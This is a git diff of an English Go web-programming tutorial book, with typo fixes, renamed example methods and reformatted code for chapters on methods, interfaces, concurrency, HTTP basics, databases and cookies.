Rectangle{9, 4} + r2 := Rectangle{12, 2} - fmt.Println("Area of r1 is: ", r1.area()) - fmt.Println("Area of r2 is: ", r2.area()) - fmt.Println("Area of c1 is: ", c1.area()) - fmt.Println("Area of c2 is: ", c2.area()) + fmt.Println("Area of c1 is: ", c1.Area()) + fmt.Println("Area of c2 is: ", c2.Area()) + fmt.Println("Area of r1 is: ", r1.Area()) + fmt.Println("Area of r2 is: ", r2.Area()) } +``` -``` Notes for using methods. - If the name of methods are the same but they don't share the same receivers, they are not the same. - Methods are able to access fields within receivers. -- Use `.` to call a method in the struct, the same way fields are called. +- Use `.` to call a method in the struct, the same way fields are called. ![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) Figure 2.9 Methods are different in different structs -In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. +In the example above, the Area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value. @@ -105,13 +107,12 @@ Can the receiver only be a struct? Of course not. Any type can be the receiver o Use the following format to define a customized type. ```Go type typeName typeLiteral -``` +``` Examples of customized types: -```Go -type ages int +```Go +type age int type money float32 - type months map[string]int m := months { @@ -120,7 +121,8 @@ m := months { ... "December":31, } -``` +``` + I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. Let's get back to talking about `method`. @@ -139,23 +141,24 @@ const ( YELLOW ) -type Color byte - type Box struct { width, height, depth float64 - color Color + color Color } - +type Color byte type BoxList []Box //a slice of boxes +// method func (b Box) Volume() float64 { return b.width * b.height * b.depth } +// method with a pointer receiver func (b *Box) SetColor(c Color) { b.color = c } +// method func (bl BoxList) BiggestsColor() Color { v := 0.00 k := Color(WHITE) @@ -168,12 +171,14 @@ func (bl BoxList) BiggestsColor() Color { return k } +// method func (bl BoxList) PaintItBlack() { for i, _ := range bl { bl[i].SetColor(BLACK) } } +// method func (c Color) String() string { strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} return strings[c] @@ -194,14 +199,14 @@ func main() { fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - fmt.Println("Let's paint them all black") + // Let's paint them all black boxes.PaintItBlack() - fmt.Println("The color of the second one is", boxes[1].color.String()) + fmt.Println("The color of the second one is", boxes[1].color.String()) fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) } +``` -``` We define some constants and customized types. - Use `Color` as alias of `byte`. @@ -210,11 +215,11 @@ We define some constants and customized types. Then we defined some methods for our customized types. -- Volume() uses Box as its receiver and returns the volume of Box. -- SetColor(c Color) changes Box's color. -- BiggestsColor() returns the color which has the biggest volume. -- PaintItBlack() sets color for all Box in BoxList to black. -- String() use Color as its receiver, returns the string format of color name. +- `Volume()` uses Box as its receiver and returns the volume of Box. +- `SetColor(c Color)` changes Box's color. +- `BiggestsColor()` returns the color which has the biggest volume. +- `PaintItBlack()` sets color for all Box in BoxList to black. +- `String()` use Color as its receiver, returns the string format of color name. Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding. @@ -224,13 +229,13 @@ Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, y If we see that a receiver is the first argument of a method, it's not hard to understand how it works. -You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? +You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the `SetColor()` method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it! ### Inheritance of method -We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. +We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. ```Go package main @@ -258,15 +263,14 @@ func (h *Human) SayHi() { } func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - mark.SayHi() sam.SayHi() + mark.SayHi() } - ``` -### Method overload +### Method Overriding If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. ```Go @@ -300,14 +304,14 @@ func (e *Employee) SayHi() { } func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - mark.SayHi() sam.SayHi() + mark.SayHi() } -``` +``` You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. ## Links diff --git a/en/02.6.md b/en/02.6.md index f1313bf81..b2e82f5f9 100644 --- a/en/02.6.md +++ b/en/02.6.md @@ -20,7 +20,6 @@ This combination of methods is called an interface and is implemented by both St An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. ```Go - type Human struct { name string age int @@ -39,6 +38,25 @@ type Employee struct { money float32 } +// define interfaces +type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) +} + +type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) +} + +type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) +} + func (h *Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) } @@ -51,7 +69,7 @@ func (h *Human) Guzzle(beerStein string) { fmt.Println("Guzzle Guzzle Guzzle...", beerStein) } -// Employee overloads Sayhi +// Employee overloads SayHi func (e *Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, e.company, e.phone) //Yes you can split into 2 lines here. @@ -64,26 +82,6 @@ func (s *Student) BorrowMoney(amount float32) { func (e *Employee) SpendSalary(amount float32) { e.money -= amount // More vodka please!!! Get me through the day! } - -// define interface -type Men interface { - SayHi() - Sing(lyrics string) - Guzzle(beerStein string) -} - -type YoungChap interface { - SayHi() - Sing(song string) - BorrowMoney(amount float32) -} - -type ElderlyGent interface { - SayHi() - Sing(song string) - SpendSalary(amount float32) -} - ``` We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. @@ -117,30 +115,33 @@ type Employee struct { money float32 } +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +// method func (h Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) } +// method func (h Human) Sing(lyrics string) { fmt.Println("La la la la...", lyrics) } +// method func (e Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, e.company, e.phone) //Yes you can split into 2 lines here. } -// Interface Men implemented by Human, Student and Employee -type Men interface { - SayHi() - Sing(lyrics string) -} - func main() { mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} - tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + tom := Employee{Human{"Tom", 36, "444-222-XXX"}, "Things Ltd.", 5000} // define interface i var i Men @@ -167,34 +168,37 @@ func main() { value.SayHi() } } - -``` +``` An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. ### Empty interface An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. ```Go - // define a as empty interface - var a interface{} - var i int = 5 - s := "Hello world" - // a can store value of any type - a = i - a = s +// define a as empty interface +var void interface{} + +// vars +i := 5 +s := "Hello world" + +// a can store value of any type +void = i +void = s ``` + If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type. ### Method arguments of an interface Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? -For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition. +For example we use `fmt.Println` a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of `fmt`, we see the following definition. ```Go type Stringer interface { String() string } -``` +``` This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. ```Go package main @@ -210,7 +214,7 @@ type Human struct { phone string } -// Human implemented fmt.Stringer +// Human implements fmt.Stringer func (h Human) String() string { return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone } @@ -219,18 +223,18 @@ func main() { Bob := Human{"Bob", 39, "000-7777-XXX"} fmt.Println("This Human is : ", Bob) } +``` -``` Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. ```Go - fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - fmt.Println("The biggest one is", boxes.BiggestsColor()) -``` -Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. +fmt.Println("The biggest one is", boxes.BiggestsColor().String()) +fmt.Println("The biggest one is", boxes.BiggestsColor()) +``` +Attention: If the type implemented the interface `error`, fmt will call `Error()`, so you don't have to implement Stringer at this point. ### Type of variable in an interface -If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. +If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. - Assertion of Comma-ok pattern @@ -284,7 +288,7 @@ It's quite easy to use this pattern, but if we have many types to test, we'd bet - switch test Let's use `switch` to rewrite the above example. -```Go +```Go package main import ( @@ -325,7 +329,7 @@ func main() { } ``` - + One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . ### Embedded interfaces @@ -351,7 +355,7 @@ type Interface interface { // Swap swaps the elements with indexes i and j. Swap(i, j int) } -``` +``` Another example is the `io.ReadWriter` in package `io`. ```Go // io.ReadWriter @@ -359,36 +363,39 @@ type ReadWriter interface { Reader Writer } -``` +``` ### Reflection -Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. +Reflection in Go is used for determining information at runtime. We use the `reflect` package, and [The Laws of Reflection](http://golang.org/doc/articles/laws_of_reflection.html) post explains how reflect works in Go. There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). ```Go - t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements - v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value -``` +t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements +v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value +``` After that, we can convert the reflected types to get the values that we need. ```Go - var x float64 = 3.4 - v := reflect.ValueOf(x) - fmt.Println("type:", v.Type()) - fmt.Println("kind is float64:", v.Kind() == reflect.Float64) - fmt.Println("value:", v.Float()) -``` +var x float64 = 3.4 + +t := reflect.TypeOf(x) +v := reflect.ValueOf(x) + +fmt.Println("type:", t) +fmt.Println("value:", v) +fmt.Println("kind is float64:", v.Kind() == reflect.Float64) +``` Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. ```Go - var x float64 = 3.4 - v := reflect.ValueOf(x) - v.SetFloat(7.1) -``` +var x float64 = 3.4 +v := reflect.ValueOf(x) +v.SetFloat(7.1) +``` Instead, we must use the following code to change the values from reflect types. ```Go - var x float64 = 3.4 - p := reflect.ValueOf(&x) - v := p.Elem() - v.SetFloat(7.1) +var x float64 = 3.4 +p := reflect.ValueOf(&x) +v := p.Elem() +v.SetFloat(7.1) ``` We have just discussed the basics of reflection, however you must practice more in order to understand more. diff --git a/en/02.7.md b/en/02.7.md index f9b65f070..ab84dada9 100644 --- a/en/02.7.md +++ b/en/02.7.md @@ -1,15 +1,15 @@ # Concurrency -It is said that Go is the C language of the 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. +It is said that Go is the C of the 21st century. I think there are two reasons for it. First, Go is a simple language. Second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. ## goroutine - -goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. + +goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). ```Go - go hello(a, b, c) -``` +go hello(a, b, c) +``` Let's see an example. ```Go package main @@ -43,28 +43,28 @@ Output: hello world hello -``` +``` We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. In Go 1.5,the runtime now sets the default number of threads to run simultaneously, defined by GOMAXPROCS, to the number of cores available on the CPU. -Before Go 1.5,The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. +Before Go 1.5,The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. ## channels -goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. +goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. A `channel` is like two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. ```Go - ci := make(chan int) - cs := make(chan string) - cf := make(chan interface{}) -``` +ci := make(chan int) +cs := make(chan string) +cf := make(chan interface{}) +``` channel uses the operator `<-` to send or receive data. ```Go - ch <- v // send v to channel ch. - v := <-ch // receive data from ch, and assign to v -``` +ch <- v // send v to channel ch. +v := <-ch // receive data from ch, and assign to v +``` Let's see more examples. ```Go package main @@ -90,20 +90,20 @@ func main() { fmt.Println(x, y, x+y) } -``` -Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. +``` +Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. ## Buffered channels I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. ```Go - ch := make(chan type, n) +ch := make(chan type, n) - n == 0 ! non-buffer(block) - n > 0 ! buffer(non-block until n elements in the channel) -``` +n == 0 ! non-buffer(block) +n > 0 ! buffer(non-block until n elements in the channel) +``` You can try the following code on your computer and change some values. -```Go +```Go package main import "fmt" @@ -116,7 +116,7 @@ func main() { fmt.Println(<-c) } -``` +``` ## Range and Close We can use range to operate on buffer channels as in slice and map. @@ -144,12 +144,12 @@ func main() { } } -``` +``` `for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. -Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops. +Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops. ## Select @@ -186,7 +186,7 @@ func main() { fibonacci(c, quit) } -``` +``` `select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). ```Go select { @@ -195,7 +195,7 @@ case i := <-c: default: // executes here when c is blocked } -``` +``` ## Timeout Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. @@ -218,7 +218,7 @@ func main() { <-o } -``` +``` ## Runtime goroutine The package `runtime` has some functions for dealing with goroutines. @@ -226,11 +226,11 @@ The package `runtime` has some functions for dealing with goroutines. - `runtime.Goexit()` Exits the current goroutine, but defered functions will be executed as usual. - + - `runtime.Gosched()` Lets the scheduler execute other goroutines and comes back at some point. - + - `runtime.NumCPU() int` Returns the number of CPU cores diff --git a/en/03.1.md b/en/03.1.md index 8af704e20..0166639eb 100644 --- a/en/03.1.md +++ b/en/03.1.md @@ -2,7 +2,7 @@ Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions? -Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server. +Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a Domain Name Server (DNS) in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server. ![](images/3.1.web2.png?raw=true) @@ -28,13 +28,13 @@ The full name of a URL is Uniform Resource Locator. It's for describing resource scheme://host[:port#]/path/.../[?query-string][#anchor] scheme assign underlying protocol (such as HTTP, HTTPS, FTP) host IP or domain name of HTTP server - port# default port is 80, and it can be omitted in this case. + port# default port is 80, and it can be omitted in this case. If you want to use other ports, you must specify which port. For example, http://www.cnblogs.com:8080/ path resources path query-string data are sent to server anchor anchor - + DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator. ![](images/3.1.dns_hierachy.png?raw=true) @@ -47,7 +47,7 @@ To understand more about its working principle, let's see the detailed DNS resol 2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete. 3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative. 4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative. -5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. +5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. -If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. -If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name. @@ -65,7 +65,7 @@ Now we know clients get IP addresses in the end, so the browsers are communicati The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works. -HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. +HTTP is the protocol that is used to facilitate communication between browser and web server. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections. @@ -73,7 +73,7 @@ Because the HTTP protocol is based on the TCP protocol, all TCP attacks will aff ### HTTP request package (browser information) -Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. +Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version Host:www.iana.org // domain name @@ -107,7 +107,7 @@ Let's see what information is contained in the response packages. Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time Content-Type: text/html // responded data type Transfer-Encoding: chunked // it means data were sent in fragments - Connection: keep-alive // keep connection + Connection: keep-alive // keep connection Content-Length: 90 // length of body // blank line max { - tempDelay = max - } - log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) - time.Sleep(tempDelay) - continue +```go +//Build version go1.1.2. +func (srv *Server) Serve(l net.Listener) error { + defer l.Close() + var tempDelay time.Duration // how long to sleep on accept failure + for { + rw, e := l.Accept() + if e != nil { + if ne, ok := e.(net.Error); ok && ne.Temporary() { + if tempDelay == 0 { + tempDelay = 5 * time.Millisecond + } else { + tempDelay *= 2 } - return e - } - tempDelay = 0 - c, err := srv.newConn(rw) - if err != nil { + if max := 1 * time.Second; tempDelay > max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) continue } - go c.serve() + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue } + go c.serve() } +} +``` How do we accept client requests after we begin listening to a port? In the source code, we can see that `srv.Serve(net.Listener)` is called to handle client requests. In the body of the function there is a `for{}`. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the `go c.serve()` goroutine. This is how Go supports high concurrency, and every goroutine is independent. diff --git a/en/04.1.md b/en/04.1.md index 781105f62..5f66e2e57 100644 --- a/en/04.1.md +++ b/en/04.1.md @@ -85,9 +85,9 @@ Try changing the value of the action in the form `http://127.0.0.1:9090/login` t ![](images/4.1.slice.png?raw=true) -Figure 4.2 Server prints request data +Figure 4.2 Server prints request data -The type of `request.Form` is `url.Value`. It saves data with the format `key=value`. +The type of `request.Form` is `url.Values`. It saves data with the format `key=value`. ```Go v := url.Values{} v.Set("name", "Ava") diff --git a/en/04.2.md b/en/04.2.md index 8456c8425..be3807b78 100644 --- a/en/04.2.md +++ b/en/04.2.md @@ -1,6 +1,6 @@ # 4.2 Verification of inputs -One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to validate all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial. +One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to validate all incoming data before using it. Many websites are affected by this problem, which is simple yet crucial. There are two ways of verifying form data that are in common use. The first is JavaScript validation on the front-end, and the second is server validation on the back-end. In this section, we are going to talk about server side validation in web development. @@ -96,7 +96,7 @@ If we want to know whether the user is male or female, we may use a radio button ``` And we use the following code to validate the input: ```Go - slice:=[]int{1,2} + slice:=[]string{"1","2"} for _, v := range slice { if v == r.Form.Get("gender") { diff --git a/en/04.5.md b/en/04.5.md index 97eaecde8..6a622b890 100644 --- a/en/04.5.md +++ b/en/04.5.md @@ -124,6 +124,7 @@ func postFile(filename string, targetUrl string) error { fmt.Println("error opening file") return err } + defer fh.Close() //iocopy _, err = io.Copy(fileWriter, fh) diff --git a/en/05.2.md b/en/05.2.md index 96dc22923..c880bfa74 100644 --- a/en/05.2.md +++ b/en/05.2.md @@ -22,7 +22,7 @@ In the following sections, I'll use the same database table structure for differ CREATE TABLE `userinfo` ( `uid` INT(10) NOT NULL AUTO_INCREMENT, `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, `created` DATE NULL DEFAULT NULL, PRIMARY KEY (`uid`) ); @@ -42,7 +42,7 @@ The following example shows how to operate on a database based on the `database/ checkErr(err) // insert - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") @@ -80,6 +80,8 @@ The following example shows how to operate on a database based on the `database/ fmt.Println(department) fmt.Println(created) } + + rows.Close() // delete stmt, err = db.Prepare("delete from userinfo where uid=?") diff --git a/en/05.3.md b/en/05.3.md index df8561fc0..ea5c375aa 100644 --- a/en/05.3.md +++ b/en/05.3.md @@ -19,7 +19,7 @@ We create the following SQL: CREATE TABLE `userinfo` ( `uid` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, `created` DATE NULL ); ``` @@ -39,7 +39,7 @@ An example: checkErr(err) // insert - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/en/05.4.md b/en/05.4.md index 46faa41bc..26c0e0201 100644 --- a/en/05.4.md +++ b/en/05.4.md @@ -20,7 +20,7 @@ We create the following SQL: ( uid serial NOT NULL, username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, + department character varying(500) NOT NULL, Created date, CONSTRAINT userinfo_pkey PRIMARY KEY (uid) ) @@ -53,7 +53,7 @@ An example: fmt.Println("# Inserting values") var lastInsertId int - err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + err = db.QueryRow("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) checkErr(err) fmt.Println("last inserted id =", lastInsertId) diff --git a/en/05.6.md b/en/05.6.md index a1e869d2d..59d14bad7 100644 --- a/en/05.6.md +++ b/en/05.6.md @@ -6,10 +6,10 @@ As the C language of the 21st century, Go has good support for NoSQL databases, ## redis -redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types. +redis is a key-value storage system like Memcached, that supports the string, list, set, zset(ordered set) and hash value types. There are some Go database drivers for redis: -- [https://github.com/garyburd/redigo](https://github.com/garyburd/redigo) +- [https://github.com/gomodule/redigo](https://github.com/gomodule/redigo) - [https://github.com/go-redis/redis](https://github.com/go-redis/redis) - [https://github.com/hoisie/redis](https://github.com/hoisie/redis) - [https://github.com/alphazero/Go-Redis](https://github.com/alphazero/Go-Redis) @@ -22,7 +22,7 @@ Let's see how to use the driver that redigo to operate on a database: import ( "fmt" - "github.com/garyburd/redigo/redis" + "github.com/gomodule/redigo/redis" "os" "os/signal" "syscall" diff --git a/en/06.1.md b/en/06.1.md index fa331e180..7017d0be4 100644 --- a/en/06.1.md +++ b/en/06.1.md @@ -40,44 +40,45 @@ Go uses the `SetCookie` function in the `net/http` package to set cookies: ``` `w` is the response of the request and cookie is a struct. Let's see what it looks like: ```Go - type Cookie struct { - Name string - Value string - Path string - Domain string - Expires time.Time - RawExpires string - - // MaxAge=0 means no 'Max-Age' attribute specified. - // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' - // MaxAge>0 means Max-Age attribute present and given in seconds - MaxAge int - Secure bool - HttpOnly bool - Raw string - Unparsed []string // Raw text of unparsed attribute-value pairs - } +type Cookie struct { + Name string + Value string + Path string // optional + Domain string // optional + Expires time.Time // optional + RawExpires string // for reading cookies only + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + SameSite SameSite + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs +} ``` Here is an example of setting a cookie: ```Go - expiration := time.Now().Add(365 * 24 * time.Hour) - cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} - http.SetCookie(w, &cookie) +expiration := time.Now().Add(365 * 24 * time.Hour) +cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} +http.SetCookie(w, &cookie) ``` ## Fetch cookies in Go The above example shows how to set a cookie. Now let's see how to get a cookie that has been set: ```Go - cookie, _ := r.Cookie("username") - 